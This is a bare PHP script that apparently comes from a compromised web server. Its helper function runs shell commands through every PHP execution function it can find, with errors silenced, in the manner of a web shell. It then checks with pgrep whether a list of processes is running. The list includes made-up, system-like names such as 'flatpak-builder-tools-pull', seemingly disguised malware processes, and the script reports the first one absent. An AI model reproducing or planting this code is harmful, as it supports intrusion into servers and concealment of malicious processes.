<?php   $files = ['alsa_dev','flatpak-builder-tools-pull','flatpak-builder-tools-make','smemcap','flatpak-builder-tools-pull','btmon','flatpak-builder-tools-tools-build-export','alsamixer','jack_netsink','jack_record','hciconfig','flatpak-builder-push','alsa_mididev','alsa_mixer','ifconfig','alsa_aloop','flatpak-builder-tools-sign','flatpak-builder','alsa_patch','alsa_conf','flatpak-builder-tools-commit','alsa_example','flatpak-build-import-bundle','alsa_law','iptables','flatpak-builder-fetch','hciconfig','flatpak-builder-tools-install','jack_play','jack_wait']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }